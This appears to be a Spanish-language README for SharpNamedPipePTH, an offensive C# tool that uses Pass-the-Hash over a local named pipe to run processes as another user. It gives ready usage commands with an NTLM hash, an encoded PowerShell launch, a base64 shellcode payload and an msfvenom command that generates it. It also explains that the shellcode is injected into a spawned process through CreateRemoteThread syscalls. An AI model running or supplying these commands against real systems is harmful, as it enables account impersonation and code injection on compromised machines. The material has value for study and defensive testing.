Este proyecto es una herramienta de C# para usar Pass-the-Hash para la autenticación en una canalización de nombre local para la suplantación de identidad del usuario.
Necesitas un administrador local o derechos de SEImpersonate para poder usar esto, puedes seguir la siguiente publicación de blog para tener una explicación de como se hace eso.
Esta herramienta se basa en gran medida en el código del proyecto Sharp-SMBExec .
En situaciones de proyectos de seguridad ofensiva donde tengas el NTLM-Hash de una cuenta de usuario
low privileged
y necesites un shell para ese usuario en el sistema comprometido actual.
Imagina dos hechos más para una situación como esa: El NTLM Hash no se puede descifrar y no hay ningún proceso del usuario víctima para ejecutar shellcode en él o para migrar a ese proceso.
Eso puede sonar como un caso límite absurdo, pero se puede dar y por tanto es bueno tener una posible herramienta para solucionarlo. Aquí esta la herramienta/técnica adecuada en esa situación específica.
Las metas para una herramienta/técnica en este caso son:
- Shell con todas las funciones o conexión C2 como la cuenta de usuario de la víctima
- También debe poder suplantar cuentas
low privileged
: según los objetivos de participación, es posible que sea necesario acceder a un sistema con un usuario específico, como el director ejecutivo, las cuentas de recursos humanos, los administradores de SAP u otros. - La herramienta debe ser utilizable como módulo C2
Desafortunadamente, el usuario suplantado no tiene autenticación de red permitida, ya que el nuevo proceso utiliza un token de suplantación que está restringido. Por lo tanto, solo se puede usar esta técnica para acciones locales con otro usuario.
Hay dos formas de usar SharpNamedPipePTH o puedes ejecutar un binario (con o sin argumentos):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
O puedes ejecutar shellcode como si fueses el otro usuario:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Que sería
msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0
El shellcode, actualmente está generando un bloc de notas como usuario suplantado e inyecta shellcode en ese nuevo proceso a través de D/Invoke CreateRemoteThread Syscall.
Esto ofrece la posibilidad de generar un proceso en segundo plano o ejecutar Shellcode sin tener un proceso del usuario objetivo para la asignación de memoria.